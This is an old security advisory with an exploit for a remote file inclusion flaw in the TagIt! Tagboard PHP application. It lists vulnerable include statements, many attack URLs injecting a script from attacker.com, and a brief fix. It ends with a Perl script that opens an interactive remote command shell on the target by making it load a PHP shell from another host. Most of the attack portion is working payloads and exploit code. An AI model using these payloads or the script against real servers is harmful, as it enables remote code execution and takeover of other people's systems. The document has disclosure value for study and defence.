____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_65$2006 ----------------------------------------------------------------------------------------- [ECHO_ADV_65$2007] TagIt! Tagboard <= 2.1.B Build 2 Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : Feb, 11 2007 Location : Australia, Sydney Web : http://echo.or.id/adv/adv65-K-159-2007.txt Critical Lvl : Dangerous --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : TagIt! Tagboard version : <= 2.1.B Build 2 URL : http://www.deadlysin3.net/tagit2b/ Download : http://codewalkers.com/codefiles/453_tagit2b.zip Description : This is v2.1.B Build 2 of TagIt Tagboard. It uses a mySQL database for a backend, many essential features and a very powerful control center. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ - Invalid include function at tagviewer.php : ---------------tagviewer.php-------------------------------------- ... include("$configpath/errmsg.inc.php"); ... include("$adminpath/ban_watch.php"); ... ------------------------------------------------------------------ - invalid include function at tagmin/readconf.php : -------------------readconf.php---------------- ... include("$admin/verify.php"); ... ------------------------------------------------ Variables $configpath $adminpath and $admin are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. also affected files: tag_process.php CONFIG/errmsg.inc.php tagmin/addTagmin.php tagmin/ban_watch.php tagmin/delTagmin.php tagmin/delTag.php tagmin/editTagmin.php tagmin/editTag.php tagmin/index.php tagmin/manageTagmins.php tagmin/verify.php tagmin/readconf.php tagmin/updateconf.php tagmin/updatefilter.php tagmin/wordfilter.php Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[TagIt_path]/tagviewer.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagviewer.php?adminpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tag_process.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tag_process.php?adminpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/CONFIG/errmsg.inc.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/addTagmin.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/ban_watch.phpp?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/delTagmin.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/delTag.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/editTagmin.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/editTag.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/manageTagmins.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/verify.php?configpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/index.php?adminpath=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/readconf.php?admin=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/updateconf.php?admin=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/updatefilter.php?admin=http://attacker.com/evil? http://www.target.com/[TagIt_path]/tagmin/wordfilter.php?admin=http://attacker.com/evil? Solution: ~~~~~~~ - Sanitize variable $configpath , $adminpath , and $admin on affected files. - Turn off register_globals Notification : ~~~~~~~~~~ vendor not contact yet --------------------------------------------------------------------------- Shoutz: ~~~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,kaiten ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ---------------------------------- Perl Exploit: ~~~~~~~~~~ #!/usr/bin/perl ## # TagIt! Tagboard <= 2.1.B Build 2 Remote File Inclusion Exploit # Bug Found & code By K-159 ## # echo.or.id (c) 2007 # ## # usage: # perl TagIt.pl # # perl TagIt.pl http://target.com/ http://site.com/cmd.txt cmd # # cmd shell example: # # cmd shell variable: ($_GET[cmd]); ## # # #Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc # # Contact: www.echo.or.id #e-c-h-o @irc.dal.net ## use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()} head(); while() { print "[shell] \$"; while() { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'tagviewer.php?configpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[Ã.ª]/; if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in /) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^.Fatal.error/) {print "\nInvalid Command or No Return\n\n"} if($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[Ã.ª]/[\n]/; print "\r\n$finreturn\n\r"; last; } else {print "[shell] \$";}}}last; sub head() { print "\n============================================================================\r\n"; print " *TagIt! Tagboard <= 2.1.B Build 2 Remote File Inclusion Exploit*\r\n"; print "============================================================================\r\n"; } sub usage() { head(); print " Usage: perl TagIt.pl \r\n\n"; print " - Full path to TagIt ex: http://www.site.com/ \r\n"; print " - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; print " www.echo.or.id #e-c-h-o irc.dal.net 2007 \r\n"; print "============================================================================\r\n"; exit(); }